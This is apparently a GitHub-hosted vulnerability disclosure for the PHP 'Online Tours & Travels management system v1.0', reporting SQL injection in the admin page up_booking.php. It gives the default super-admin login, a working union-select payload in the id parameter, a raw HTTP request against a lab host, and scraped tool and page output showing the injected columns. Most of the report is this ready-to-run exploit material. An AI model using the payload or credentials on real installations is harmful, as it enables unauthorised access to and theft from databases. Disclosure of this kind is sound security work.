

main

...

Bug_report / vendors / mayuri_k / online-tours-travels-management-system / SQLi-2.md



songbingxue Create SQLi-2.md

History

1 contributor

31 lines (21 sloc) | 1.12 KB

...

Online Tours & Travels management system v1.0 by mayuri_k has SQL injection

BUG_Author: Bains

Login account: mayuri.infospace@gmail.com/admin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /tour/admin/up_booking.php

Vulnerability location: /tour/admin/up_booking.php?id=, id

dbname = tour1

[+] Payload: /tour/admin/up_booking.php?

id=-1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13--+ // Leak place ---> id

GET /tour/admin/up_booking.php?id=-1%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,1

Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=g29omi7f91g3h7ud1uhq6rbmkv
Connection: close

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL

Split URL

Execute

http://192.168.1.19/tour/admin/up_booking.php?id=-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13--+

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

☒ Replace All

homepage

HOME

Dashboard

Travellers

Bookings

Package Management

Tax Management

Expense Management

Finance

Currency

Payment Types

Reports

Settings

Update Booking Details

Update E

Travellers Name *

State*

Package Name *

No Of Adults *

No Of Children *

From Date*

To Date*

Select State

5

6

7

8